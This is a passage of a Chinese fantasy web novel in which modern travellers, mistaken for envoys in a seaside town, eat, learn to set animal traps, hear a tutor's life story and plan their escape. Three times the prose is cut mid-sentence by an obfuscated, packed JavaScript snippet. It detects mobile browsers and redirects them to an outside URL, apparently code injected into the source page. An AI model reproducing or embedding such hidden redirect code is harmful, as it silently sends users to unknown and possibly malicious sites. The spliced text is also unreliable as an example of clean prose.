只见孚安侧身用袖口擦去眼泪，哽咽低语。鸟半晌才说：“俺犯下大错，实在没有脸面见人。”其余使者见状，纷纷前来安慰，郝乐宁不知内情，尴尬地借此机会闪人。 许巧星坐在石头上，拨弄脚边的花草，登时有人抱来一把刷过清漆的椅子。许巧星坐下没一炷香，又有人搬来小桌，替她倒茶，再送上两碟甜点和一盘切好的瓜果。 糕点酥软，瓜果香脆清甜。 “对不住。”走之前，两人还向许巧星诚恳地道歉，“让你们受苦了。” 许巧星头一次被年长的人作揖，坐立不安，忙不迭站起身。郝乐宁走了过来，见那两人离开，顾不得再掩饰，将碟中食物一扫而尽，嚼着嚼着还咳嗽两声。 许巧星递上杯子：“你慢点，别呛着了。” “我的天啊！几天没吃过饭，我真要饿疯了。”郝乐宁喝了口茶水。 “他们挺热情的。”许巧星顿了顿，“热情到吓人。” 郝乐宁明白许巧星的意思：“没事，我们找机会走。” 孚安见正使没了影子，跟在后面走过来，若有所思地问。鸟开口：“你们身边的侍卫呢？竟让正使受险，真是……烂树枝！” 许巧星不知“烂树枝”是什么当地骂人话，或许是这鸟瞎扯，但她顾不得其它，吃饱喝足后脑子也灵光许多：“当下海晏河清、天下太平，我们也安全抵达了。” 孚安收了笑，拧眉斥责：“大人怎可不带人出来？虽说天下太平，但不可不防。大人处高临深，身边的人自然要不遗巨细地……” 没等白鸟翻译，郝乐宁看他态度，就知道他不赞同。她给许巧星使了眼神，对孚安笑道：“我们出行从简，不愿惹人注目，便没带多少人出来。”她点了一下远处正与镇上人交谈的司机，也不明说。 孚安扭头去看司机，依旧觉得不妥。但他见郝乐宁语气坚决，不好当面再驳。 待他走开，郝乐宁对许巧星耳语：“不知道正使是什么地位。出远门若什么人也不跟在身边，实在是可疑。” 许巧星点头。她想了想：“如果他觉得正使身边没人，等我们离开的时候，他可能会非要派人跟着我们。” “所以说啊。”郝乐宁一摊手。 许巧星又抓着不知名的糕点往嘴里塞。自从下了那辆车，她从未如此惬意舒心过。她想与郝乐宁商议逃跑事宜，但院内人多眼杂，只能作罢。 郝乐宁吃了半饱，拍拍手上的碎屑，轻轻说道：“我去跟司机说一声，让他别露馅。” 庭院花藤矮篱笆外，几个孩童探头探脑地往里边瞧，其中一人便是日出。 她与许巧星对上视线，惊喜交加，正欲进院，被一个长辈拉住衣袖：“你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988141|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑这里来做什么？有贵客，不要唐突了。” “我认识！是我朋友！”日出跳起来朝许巧星招手。 长辈愕然。日出拉过衣袖，直往许巧星身边跑。 许巧星站起身，低头看见日出双眼灼灼地盯着自己，心头犹豫。这孩子没对自己心生芥蒂，似乎对偷衣一事毫不知情。 日出不察，牵着许巧星的手，一时兴奋，喜眉笑眼：“我听见他们说有别的使者来了，我就知道是你们！我本来还要去山上找你们的！” “哇！日出果然在自己偷偷玩，不带我们。”后面跟上的几个孩子随口抱怨。拦着他们的长辈见正使不计较，便撒手不管了。 许巧星见状，忙不迭解释：“是我们让日出别说的。”她把桌上糕点分到小孩子手上，“我搬些凳子过来，我们坐下来聊。” 孩童像一群叽叽喳喳的鸟雀，许巧星听他们手舞足蹈地说自己布置陷阱，又说是用自己捞上来的鱼做诱饵。小孩子凑堆，左一句右一句地闹，并不需许巧星多言，她松了一口气。 “好可惜！诱饵没被吃，桑窃昨天没来！”日出瘪嘴。 另一人补充：“我们今天要去把诱饵给换掉！” 许巧星不知道桑窃是何物，一头雾水，只好笑笑。日出拽了下许巧星的衣袖：“你要不要和我们一起去？你见过吗？它以前来过一次，我还摸了，和家里养的小鸡仔一样好摸。” 许巧星摇头。 又有一孩子笑着说：“师保说桑窃会变幻出巨影，我们从没见过呢。” 许巧星来了兴趣：“那你们师保见过吗？” “师保肯定也在书上读到的。” 日出却反驳：“我娘说，师保在外读书游历过，见多识广。他可能真的见过！” 许巧星意不在此，话锋一转：“你们这里还有什么像桑窃一样的鸟兽吗？” “三尾山猫！”最矮的一个孩子说，“师保说可以辟凶！” “还有黄鹌鹑！” 孩子们七嘴八舌。日出又说：“化石虫？不过大家都没见过，死了之后会变成石头的虫子。”她掩口暗笑，“我那天问师保，要是抓这虫子吃，牙齿会不会崩掉？他没答上来。” “化石虫应该是一个当不得真的传言。” 但有一道声音从旁传来：“化石虫确有实物。”竟是孚安带着白鸟。 孚安在王都听过奏闻有言，仍在深山中有见其踪迹。化石虫寿命极短，仅有五日，一旦诞下新虫便归息。它们逝后所化之石，始易脆，复过五日，逐渐坚固。 许巧星对此耳目一新，但不好表露在外。这些生物自己原本闻所未闻，她既感新奇，却又稍稍失落。这也再一次证明自己离家相隔万水千山。 孚安不过路过，很快又有金袍使者找他商榷要事，只好急急离去。海生紧随其后，师保迎上来陪客。孩子们见了师保，纷纷作鸟兽散。 师保远望那群孩童，隐隐叹息。这人不苟言笑，许巧星亦不敢放松。师保见这位正使对这等闲杂趣事兴致盎然，便捡些往事一述，打发时间。 许巧星没料到随口闲话，竟从中得知一件事，令他们找到下一个目的地。 11. 第 11 章 许巧星见他说的尽是镇上趣闻，有心打听山外的事，更好奇使者相关。她待师保端茶时，旁敲侧击地问道：“你们这里很少有人来吗？” 师保放下茶杯，点头：“除了集会来往，鲜有人至此地。此次是王都的大人们领命而来，更早则是在十多年前了。” “十多年前是？” “白沙镇临海，庄稼收成不好。那时我在羽冠城念书，特邀关系甚好的几位同窗前来白沙镇游玩。同窗法术高深，见状便苦研半月，庄稼得以改善。”师保嘴角勾起弧度，“造福了白沙镇上下四百六十二人。” 她心觉佩服，又问：“那你们平时出海打渔，会去多远？又会用多大的船？”或许真能想方法划船回家？ 她仍在等师保回答，没料到这人大惊失色：“您不要捉弄我们。我们是万万不敢出海打渔的，白沙镇哪里有人怎敢做律法严禁之事？不知您是从何处听来的消息，要是有人在您面前说过此话，全然是莫须有的。您一查便知！还请告之衙门，将污蔑之人下狱，还白沙镇一清白。” 许巧星霎时明白是自己问错了话，忙不迭解释：“无意冒犯，我随口一问，想问打渔，一时口误说错了。并非有人对白沙镇暗中陷害，我向您赔罪。”她虽对禁止出海一事大惑不解，但不能显露出自己是初来乍到的法盲。她抬起杯子遮住嘴，隐去面上的尴尬，换了话题：“您说您之前在羽冠城念书？” 师保面色不虞，虽言辞恭敬如初，但声音却冷了半分：“回大人的话，是的。” 许巧星见师保不愿再多言，讪讪一笑。 至午，忙碌的人大多散去，孚安尚未回来，但是已有人布菜，请许巧星上座：“乡里陋食，一些粗茶淡饭，比不得正使大人在王都的珍馐美味，还请不要嫌弃。” “没有，感谢款待。” 许巧星几人被请去最上面的位置。几人分坐，各自桌上摆有小碟，盛好温热菜肴，香气扑鼻。她夹了一筷子像芹菜的绿叶，有人说这是山上野菜。她又拿起一只红通通的螃蟹，立马有人问她要不要帮忙剥壳取出蟹肉，许巧星婉拒，手上加快速度。 菜品清淡，食材是难得一见的鲜美爽口。 许巧星脑中不停地思索严禁临海居民出海的缘故，心中有了几个猜测。她乍一抬头，见四周有人盯着自己，注意到她的眼神便准备上前询问。她如芒刺背，装作无意扫视，接下来连头不敢抬，只顾埋头用餐。 就算她已说过不用守在一旁，但镇上人不清楚正使脾性，又怕他们不过是说客套话。刚把正使迷晕抓进仓库，得罪过一遭，再不小心随侍，正使若回去后给他们使点绊子，总归是麻烦事。 许巧星饭前抓了不少糕点，肚子已经填饱了。她发现桌上放了一壶酒，白沙镇谷物不多，不会拿出多余的粮食酿酒，这酒是度数不高的果酒。她倒了一小杯，杯中颜色浅红透亮，她浅尝一口，更觉得是酸酸甜甜的饮料。 用完饭，师保走了过来，许巧星不得不凑上前，问他在外念书的事情。 “你以前出去读书了？”郝乐宁听见，也好奇地问。 “是的。羽冠城是距离白沙镇路程最近的大城。年幼时，当时镇上师保见我有天赋，便把全部所学传授与我，又在我十八岁那年，送我去羽冠城学法术。” 许巧星眼睛一亮。 这下是问对人了。 羽冠城内能学习法术，师保见闻广博，她说不定从话中得到启发。 司机和陈哥也围了上来，让师保细细道来。 师保顿了顿，他仰头朝羽冠城的方向远眺，记忆越过连绵青山，回溯至多年前。当时，旁人皆称他水何，而镇上师保另有其人。 他十八岁那年只身一人去外求学，师保陪他在城内住了两日，替他打点好，便回到了白沙镇。 水何是在镇上人的赞扬声中长大的，人人都道他读书厉害，师保也会抚着胡须笑说他是难得一见的好苗子。他本意气风发，可到了外头才知道，这好苗子数见不鲜，寻常可见。羽冠城的学宫闻名遐迩，附近的好苗子均纷至沓来，水何混在其中，便也平平无奇了。 他站在榜下，手心全是汗，一双眼盯着那张高高挂起的红纸，看了又看，心中悬着的那块石头掉下来，砸得稀碎。 他想起师保登上兽车前，给他塞了一笔钱，自己却狼狈不堪地挤在货箱空余处，还扭头冲他笑，挥手叫他快回去。 水何咬牙，写了一晚的信，他在信上说自己考上了，叠好后寄回白沙镇。他夜以继日苦读，还要抽空挣钱，饮食起居随意应付，但去好的私学要送上不薄的束脩。有镇上人来羽冠城看他，他不愿收下钱，站在他们跟前强颜欢笑。 又过了一年。他再次站在榜下，结识的好友挤进来恭贺他。他终于可以松口气。 入学宫后，水何求学若渴、废寝忘食。他与同窗日日分享心得，也会为书中某一模棱两可之处争论不休。他交上三五好友，在背书练符之余，也结伴同去羽冠城四面山水游历。 师保忆起往事，娓娓道来，惯来紧绷的脸颊也柔和许多。他含笑道：“我抽空会做点杂活，隔三差五便去书苑看书、去术场练习，夜深便回住处安寝。日复一日，最后却出了一场意外，我无法再与从前那般使用灵力。可如今想来，在学宫的数载，那也是一段尽善尽美的日子。” 他回过神来，看见许巧星几人目不转睛地盯着自己，又正颜说道：“正使大人自然是千真万确的天资聪颖之人，不知听我说这些，会不会心生无聊？” 许巧星呼出一口气，闻言便说：“不会无聊。多谢你愿意敞谈，我们受益匪浅。那件意外之事……多节哀。” 一向寡言的陈哥也感叹几句。 司机没有念过大学，这一直是心中的遗憾。他十分敬慕读书人，再加上听见此人是白沙镇的老师，言行态度更是变得格外尊敬，他给师保倒了一杯茶：“然后你就回来教书了吗？你身上的伤好了吗？” 师保颔首：“是。伤口虽愈，但体内灵力停滞，学宫上下无解，就连我一位见识多广的朋友也对此无能为力。几人分别已有十二年之久，常常通信，他们也来看过我。可也有一位朋友了无音讯，即便驱使青鸟高飞，消息 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白沙镇落于山谷，一面临河，另三面缓坡，布局整然有序，许多古朴雅致的房子坐落在山间平地，一些房屋还众星捧月般建于缓坡之上，小路以石块平铺，将邻里房屋相连。 房屋更往上便是茫茫林海，风一吹过，滔滔不绝的绿浪翻涌而来。 许巧星那晚来此地，夜色昏暗，鬼影幢幢，看不真切。 当下山风凉爽，身处雅致山水中，感受到一份世外桃源般的清静自在。 行走在路上，许巧星见到镇上悠闲安详一幕。 树荫下有老人睡在躺椅上乘凉；一位妇女抱着襁褓唱童谣，手持草编蚂蚱，在婴儿脸上晃来晃去；还有人撒米喂鸡，立在一群嫰黄毛球间，生怕踩到它们。 他们见了师保带着正使，纷纷招呼问好。 有一学步幼童东摇西摆地小步往前走，一双脚啪啪啪地踩在地上，她妈妈正蹲在几步外张开双臂。幼童扑在妈妈怀里，妈妈搂住她，亲吻她的脸颊。女人见到旁边有人过来，抱起孩子，站直身子，面带微笑地给他们让开道路。 “这几位就是从外面来的客人吗？” “对，带他们到处转转。你闺女学走路真好，前段时间连翻身都不会呢。” 女人乐呵呵的：“小孩子，长得快嘛。眨眼的工夫就长大了。等她长高之后，我就把她送去你那识字念书。” “好、好。” 许巧星跟在师保身后，听他一个接一个应着家常话。她心不在焉地回应镇上人的寒暄，思绪已却飞回家乡。 她家住在巷子里，巷子口是一块空地，种着一棵高高的树。树下总有人推着车卖糖水和凉粉，有人会坐在旁边下棋，旁边还有听收音机说戏的，拉二胡的，也是这般优哉游哉的气氛。 小时候放学路过巷口，她总喜欢去踩地上的落叶和枯枝，哪里多往哪里跳。她家里人拎着小书包，站在不远处等她，脸上浮出无奈的笑容。直到小许巧星把所有叶子都踩没声了，才肯蹦蹦跳跳地回家。 那棵树经历几十载岁月，仍扎根于巷口。可是，许巧星再也不会去踩落叶了。 12. 第 12 章 繁茂树梢上缀了浅粉淡黄的碎花，落花随风慢悠悠地飘在草丛里，香甜的气息在空气中若隐若现。 恰逢一群孩子围在墙角后打闹，师保喊了一声，孩子们回头，许巧星看见日出便在其中。 师保问：“你们在做什么？” 一孩子道：“陷阱里的诱饵不见了。” 几人走近一瞧，许巧星落在最后。日出跑过来，对她说：“草笼没有抓到鸟，但是我们捡到了一根红色的绒毛。”她声音很有精神，丝毫不气馁，摊开拳头，一根柔软的鸟毛躺在手掌上。 “被它逃掉了。”师保弯腰端详，又直起身，“桑窃在这边受了惊，不会再来了。大家可以去别的地方看看。”他又问正使是否愿意同往，许巧星等人也乐于多了解这个世界，便满口答应。 许巧星暗想，要是能学会做这陷阱，在山里应该就不会再愁挨饿了。她正欲往前走，身后却有人极其自然地拉住了她的手——是日出。 许巧星不习惯与人有肢体接触，她浑身一僵，但日出丝毫不察。她顿了顿，低头对日出说：“我想过去仔细看一下是怎么抓小动物的。” “这个简单。”日出扬起下巴，得意一笑，“我最会布置陷阱了，等一下我教你！” 一行人来到一栋楼前，日出说这里是学堂。他们绕过房子，来带后院的晾晒架旁。日出拉着许巧星挤到中间，有人念叨簸箕上的鱼干也不见了。 许巧星见草笼是用木棍撑开门放在簸箕上的，旁边拉了绳子，绳子上绑了重物，而现在木棍倒了下来，草笼里却空无一物。 “又被跑掉了！”日出没有丧气，反而向许巧星炫耀，“你瞧！这个是我做的呢！” 许巧星真心实意地夸赞她几句。日出找到一个子最高的孩子，那人背着箱笼，将箱笼搁在地上。日出打开盖子，双手从里面抓出一条尚在挣扎的鱼。 不知箱笼里有什么玄机，许巧星一路没有闻到腥味，而且这鱼竟仍是一条活鱼。她走上前搭把手，日出让她再拿来一根草绳，一侧有人将草绳递给许巧星。 她听着孩子们七嘴八舌的建议，将草绳穿过鱼唇上的绳结，再打上一个活结。她又摆放好木棍，将草笼的开口朝下，把它固定住。 许巧星有些手忙脚乱，但日出说她做得好。 接着她们去屋前水缸旁洗手。许巧星抓起葫芦瓢，舀水给日出冲去手上的鱼腥味，笑了一下：“谢谢你教我。我还不会编草笼，你能再教我这个吗？” “没问题！”日出甩甩手上的水珠，“我带着干草绳去找你！” 几人又换了几个地方，草笼中均不见桑窃。重新布置过后，他们便折返回使者的院子，海生遣人送来的新衣服也送到了房间里。 他们在院内聊着闲话，日出与许巧星坐在台阶上编草笼。 夜幕暗下，玫红云霞爬了半边天。有人点亮了石灯，温和的光在庭院内晕染开。远处传来一声奇异的高昂喊叫声，鸟振翅而过，于空中盘旋数匝，又稳当当地落在许巧星身边的桌上，低头叼走一块水果。 翅膀扇动的风将那干草绳吹散，许巧星搁下草笼，站起身，把绳子捡了回来。她停下脚步，扭头去看那只大白鸟，心里有些馋，想去摸一下那雪白光滑的羽毛。 鹦鹉单脚站立，另一只爪子抓着水果。它漆黑的眼珠随意地看了一眼靠近的许巧星，又重新把注意力放在水果块上。 鸟并不抗拒她的抚摸，甚至低下头示意许巧星给它挠痒，它很快吃完那块水果，日出又塞了一块在它爪边。它从善如流地接受别人的伺候。 烟火气息逐渐浓郁，晚宴开始了。 师保请许巧星一行人再次入座。庭院渐渐热闹起来，共有三十余人。热腾腾的菜肴，飘着油香，盘中炒肉仍在滋滋滋地冒响。孚安所在的桌上，鸟儿也被单独摆有一盘蔬果。 海生举杯，对使者说了几句简短的话，孚安回敬。海生从桌后走了出来，领着那夜绑他们的几人，向假正使请罪。 许巧星一阵心虚，装模作样地应付过去，还被人夸宽宏大量。 有人狼吞虎咽完就离开了，走前向海生示意，要去给驻守在河边的几个人送饭并换岗。海生察觉到许巧星的目光，解释道，大家接连为宝物忙碌多日，今夜趁机让大家均回家休息，只留下必要几人看守。 又是这件丢失的宝物。 许巧星若无其事地问：“说起宝物，你们有无收获？”既然他们此时身份是前来协助的正使，总要说些符合身份的话，以免旁人对他们起疑心。 再者说，自从日出提起这事，许巧星就对所谓的圣命感到好奇。她在日出误认他们是使者之后，心中抱着一丝微弱的侥幸，或许使者也同为穿越者？ 虽这一丝希望已破灭，但那件丢失的宝物，又是否会与他们穿越一事相关呢？ 眼下一筹莫展，她只能无依无据地胡乱猜想。 海生看了一眼孚安，见孚安没有任何反应，他便开口：“孚大人一丝不苟，时刻不敢放松。在正使抵达圣塔那日，孚大人的确已经知晓宝物的大致方位。只是那宝物会随水而动，我们只差将整条河翻过来，但是相信很快会有新的结果，请大人们稍稍放心。” 酒足饭饱，结束晚宴后，庭院内人稀稀落落地离去。桌上的酒杯餐盘被收拾干净，其余摆设要等明天再处理。 许巧星无意瞥见，孚安、师保和海生正在交谈，日出则站在师保身前，时不时抬头看向师保。她正欲上前，却见孚安忽然单膝跪在日出前，金色袍子垂在地上。他对日出说了些什么，日出却在摇头。 许巧星诧异，眼前一幕把她唬了一跳。她脑中当即冒出一个想法。难道是孚安在询问日出前几日她上山见到“正使”一事吗？ 夜深了，她打了一个寒颤，加快脚步，便于偷听。她希望日出不要透露自己与同伴的马脚。 师保的声音隐约传来：“你若是去了，远大前程自然不在话下。” 海生见日出低头不语，忙不迭打圆场：“这事提得突然，不必急于一时，让日出回去慢慢想。” “是，我一会儿送她回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988143|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，跟她双亲说一声。此事定要深思熟虑。”师保颔首，他带着日出告辞孚安与海生，一同离开庭院。 许巧星往那个方向望了一会儿，发现孚安和海生并没有过来找麻烦，不由得松了一口气。听他们话的意思，似乎与日出本身有关。她虽有些疑惑，但听起来不像是坏事，也扯不到正使头上。 郝乐宁见许巧星呆在原地，便喊她回去。 几人可谓是身心俱疲。饿了几日后，又被人关进仓库，虽出来时安然无事，可仍心有余悸。他们没再去找人打探消息，与其他人告辞后，转身回了那栋分给他们的房子。 这栋房子在使者隔壁。进门后是一个较大的堂屋，左右屏风后是卧室，再往里便是书房和杂物间，最深处便是小厨房和澡房。 所幸室内石灯已被人点亮，他们不用再在屋内摸黑行走。除了陈哥外的三人不约而同地往澡房走——他们这几日出了不少汗，背上黏腻不适，已经很久没有洗过澡了。 屋内陈设简单，小厨房里只有一方形炉灶和一口大铁锅。澡房中间了个澡盆，又摆了两个水桶。 郝乐宁提起水桶一瞧，水桶正搁在一凸起来的环形物件上。许巧星捣鼓了一下，从环形物中升上一块椭圆形红色石头。虽说是石头，但犹如岩浆般发着炽热的光。 三人面面相觑，司机随即转身出去，从外面水缸里提了一大桶水进来。他们把水桶放在凹槽上，又将手探入水中。果不其然，水开始变热。 “好耶！有热水洗澡了。”郝乐宁欢呼一声。 已有人送来新衣，他们轮流拿着新衣去洗澡。 新衣连同许巧星的书包一起，被放在卧室里。许巧星打开书包，里面的东西都在，只是显然是被人翻过的。她叹了一口气，幸好自己把作业留在车上，包内的笔记本写的不过是公式和验算题，这些人看不懂。 不过屋内没看见司机从车上拆下来的铁栏杆，以及她的铁架伞。应该是被海生收缴了，看起来，也没有要还给他们的意思。 许巧星扫视屋子，看见陈哥低头坐在椅子上，正盯着发光的手机屏幕。他注意到许巧星的视线，面无表情地看了许巧星一眼，把手机重新收回口袋，起身出门。 四人轮流洗漱后，没有入睡，而是聚在一间房间，商讨之后的打算。 “他们今天真的很热情。”许巧星半湿的头发搭在肩膀上，“可是一旦被发现，我们的处境就糟糕了。我们应该要早点离开。我向日出学习了如何制作陷阱，虽然还不够熟练，但是这算一种能够获取食物的手段。” 郝乐宁赞同地点头：“他们毕竟是认错了人，万一正牌的来了，我们这种冒牌货肯定会被揭穿的。” “那个老师说他以前在什么城学法术。我们就去那里？”司机问道，“可是我们不认识路。” 许巧星思索着，又说：“今天午饭前，我有听见师保说这里有严禁出海的律条。我们需要查一下这个律条被定下的原因，或许……真能划船回去？”她迟疑不定，声音极轻极缓，但惊得几人静默片刻。 13. 第 13 章 此话一出，许巧星干笑一声，她自己也感其荒谬。 郝乐宁抓了抓头发：“但是我们没有办法去验证。这话题之前就讨论过，我们没有船，也不会在茫茫大海上划船。” “不需要亲自去验证。”许巧星想了想，“既然是明令禁止的，那么我们可以去查一下禁止出海的原因，说不定在这之前就有人出海过，或许是发生了什么事，出海才被禁止的。” “怎么问？”司机放下本来翘着的二郎腿，“这种事既然是被禁止的，我们也不能随便问出口。” 郝乐宁一拍手掌：“不管怎么说，咱们找到了一个方向。记在待办录上！” 许巧星从包里抽出笔记本，在导数大题后面的空白页上写了一行字。 郝乐宁把头凑近，弯了弯眼睛：“你真在记啊。” “啊？”许巧星愣了一下。 “没事，你记下来也挺好！”郝乐宁见状，开怀大笑，“只是我之前是说着玩的。” 司机咳嗽一声，扯过话题：“好了，我们说回正事。大家商量一下，我们什么时候闪人？我们要偷摸打听的事情太多，恐怕还要再拖一天。” “问到了就马上走？”郝乐宁问。 许巧星提出顾虑：“我们若不告而辞，他们很快就会发现端倪，派人来追吧？” 郝乐宁止住笑：“其实还有一件事，他们没有问我们要告身凭信，这稍微有些奇怪。” 司机顿了顿，扭头问她：“告身凭信是什么？” 郝乐宁反应过来，解释道：“就是证明你自己是某某地方调来的官员，类似工作证。总之，他们目前还没有问我们要，我们也给不出来。” 司机咧嘴一笑，出了一个主意：“不怕，我们就说自己身上本来有，被他们镇上的人一绑，就给弄丢了。” “可是他们没有搜我们的身，手机仍好端端地揣在里衣兜里呢。”郝乐宁想了想。 “哎，他们问了就这样说，等他们查出来，我们早就跑了吧。” 郝乐宁无奈地说：“那就这样吧。不过我还是更希望他们什么也别问。圆谎是一件很麻烦的事，撒一个谎就要用无数个去圆，我已经不想再绞尽脑汁地编故事了。” 许巧星叹了一口气：“我和他们说话，提心吊胆的，生怕哪句话出差错。” “没事，我们很快就换地方了。不如期待一下往后，羽冠城居然能教人法术。”司机搓搓手掌，已然迫不及待，“我从来没想过自己这辈子还能接触这玩意。” 许巧星犹豫片刻：“师保说考试很难。我们什么也不知道，应该不可能……” 司机不以为意：“见识见识也是好的，开眼界嘛！说不定这世上真有人有移山倒海的通天本领。况且，我们不一定要入学才能找到回家的法术，不能在现在打退堂鼓。”他瞥见陈哥不声不响，把头靠在墙壁上，不由得喊了一声，“你怎么不说话？一点反应也没有。” 这人活像一只闷葫芦。 “哦。”陈哥乍然被点名，抬起头，神情淡漠，“你们决定就好，我没有意见。” 司机看他那副德行就起无名火，心底暗骂，却不得不耐着性子：“你是我们的一员，有什么意见都要提。是不是那天我说你店要倒闭，你记仇记到现在？要是这样，我给你道歉。”但他语气依旧生硬，此话一出口，更像是指责。 陈哥轻飘飘一句“不是”，令司机即将脱口而出的“对不起”给憋了回去。 郝乐宁见司机脸色不对劲，怕两人在此刻吵起来，正打圆场。就算是许巧星，也察觉出异样，干巴巴地附和郝乐宁。 只见司机朝陈哥大步走去，许巧星正以为下一秒矛盾一触即发，司机忽然中气十足地吸了一口气，沉声道：“我现在给你道歉，大家有话就说，少拖泥带水的。” 陈哥脸色微僵，缓了半晌：“不需要你道歉，你不用疑心我是记仇。毕竟也是五十多岁的人，这些事还不至于被我挂在心上，挺没有意思的。我要是有想法，会自己说，没说就是无所谓。你们可以不用管我。” 许巧星很少听见陈哥说这么长的一段话。 司机点头，这人他也猜不透，但话已带到，其余便不再想管了。他转过身，见到许巧星与郝乐宁站在自己背后，吓了一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988144|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“你们干嘛？” “没什么，站起来活动一下。反正，大家同舟共济，有什么话都好好说，能冷静说开就是好事。”郝乐宁再次坐回凳子。 许巧星话锋一转，拉回话题：“我们明天是再留一会儿，对吗？一旦问清楚去羽冠城的道路就走。至于禁止出海这事毕竟敏感，我们不强求一定要在白沙镇弄明白。” 郝乐宁与司机应了声，三人一同望向陈哥，陈哥眉头紧蹙，许久才憋出一句干巴巴的“好”。 许巧星顿了顿，又问：“他们要是让我们去帮他们找宝物怎么办？我们什么也不知道。” 司机摇头：“我们身份不一般，应该不用下河去捞。” 郝乐宁沉吟：“你们有没有注意到。他们在我们面前，一个劲讲孚安兢兢业业，却丝毫不提宝物踪迹，看起来暂时没打算让我们插手。殷勤款待正使，不要被挑刺，才是他们的目的吧。” 她补充道：“我以前工作过的地方，只要是头顶一来人，谁都是客客气气的。如果不是天要塌了，哪敢把麻烦事推给他们。” 许巧星总结：“所以说，并非火烧眉毛的情况，他们是不会找我们的。” 郝乐宁比了一个手势。 许巧星回想起海生说宝物一事很快会有结果，不由得安心下来。 几人又议论了一些旁枝末节，待结束，窗外月已经升上中天。 司机和陈哥去其他房间睡觉。许巧星的头发已自然风干，她钻进干燥舒适的被窝，忍不住发出一声喟叹。 她与郝乐宁互道晚安后，听着时不时一声草深蛙鸣，安稳地入梦。 他们不知，孚安今晚收到了一封从王都寄来的信。信上事本与许巧星等人无甚干系，但彻底打乱了他们的逃跑计划。 一只仅有巴掌大的青鸟站在站架上梳理羽毛，孚安轻轻解开它腿上的小筒，将一张卷起来的纸倒在手心。 他屏气凝神地把纸展开，却被内容惊得他手一颤。 这是大国师的札牒，孚安的目光久久停留在第一行的几个字上——二国师病笃，此事秘而不宣，携国子及珍宝，宜速还。 14. 第 14 章 许巧星睡到自然醒，揽衣起床。这是她这段时间以来，睡过最舒适的一个觉。 站在庭院下，阳光明晃晃地笼罩在身上，她抬起手遮住眼睛，恰巧隔壁走来孚安，正朝她颔首示意。几人围着圆桌，用过肉碎白粥，上面漂了几片青嫩的葱花。 许巧星见孚安不似往常，表情僵硬，她正疑惑，孚安察觉到许巧星的视线，又勾起客套的微笑。 饭毕，许巧星等人正准备去镇上打听消息，但孚安却请他们一同前往河岸，视察工作。他们现在在旁人眼中是正使，若是强硬拒绝，必然会让使者起疑，只好先随着同去。许巧星猜测多半只让他们转一圈就走人。 院子去河岸的途中，有一大片缓坡，长满鲜嫩草叶。 许巧星看见缓坡上有几头高大的生物，几乎怀疑自己眼睛出了问题。那是几头似虎似马的生物，头颈像虎，却长有四蹄。鬃毛柔顺发亮，从上往下，兽身上缀了黑色条纹，越往下越淡。它们正在低头吃草，更远处停了一排雕有繁复花边的车舆。 许巧星表情呆滞了几秒。她见孚安神色自若，知道这又是当地特有的生物，缓缓吐出一口气，装作习以为常，淡定地将目光挪开。 山道向下，从树林中拐出去，眼前顿时开朗起来。 开阔河面一览无遗，清澈透亮，偶有大鱼在水上点了一圈涟漪，隐约能看见河底的墨色水草缓缓晃动，有鱼晃动长尾，卷起银白色细沙。 远远听见有嘈杂人声传来，那里便是所谓的宝物打捞场了。 两岸插入长杆，一张编织极密的巨网拦腰横在河中央。 巨网前后有人仰头深吸气，扎进水中，又抓了什么东西浮出水面。等候在岸边的人接过后，平摊在晒架上，请来使者逐一过目。一辆平板拖车放置在岸边，被择出来的物件，会重新倒在下游的河道里。 许巧星心里纳闷，他们难道不知道宝物的形状吗？将宝物画出来，再分发下去，效率会更快吧？ 她一想，使者里头总有懂法术的人，既然已知遗失的宝物的大致位置，水如此清亮干净，想必很快就能找到宝物，无需正使操心了。她心中正安，便放心地去观察他们打捞。 她走近一瞧晒架，上面有残缺的陶制水壶，有半个巴掌大的瓷器碎片，甚至还有一只孤零零的布鞋，湿答答地躺在上面。另外一边则是一些看起来司空见惯的鹅卵石。 这怎么看也不像是劳烦使者千里迢迢赶来的那件宝物？ 许巧星正疑心这个世界是否特意把宝物做成如此返璞归真的模样，她又看使者掀起晒架，把这些东西皆倒在脚下的箱子里，宝物应该不在里面。 孚安拿着一张纸，轻轻拧眉，端视良久。他朝他们微微行礼，鹦鹉说了一句让他们自便，旋即一人一鸟登上一简陋的木台子，孚安提笔，在纸上写了些什么。 许巧星真没料到，孚安直接把他们丢在河岸，撒手不管了。不过这应该算好事。在场其余人各司其职，忙碌不歇，只有他们立在原地，不知如何是好。多一事不如少一事，几名冒牌正使正窃喜，打算闪人回镇。 而海生不知从哪里冒出来，几乎从天而降，说自己来陪同正使。 “没事，不用你们陪。我们已经看完了，你们做得不错，我们现在准备回去。”许巧星扯出一个假笑。 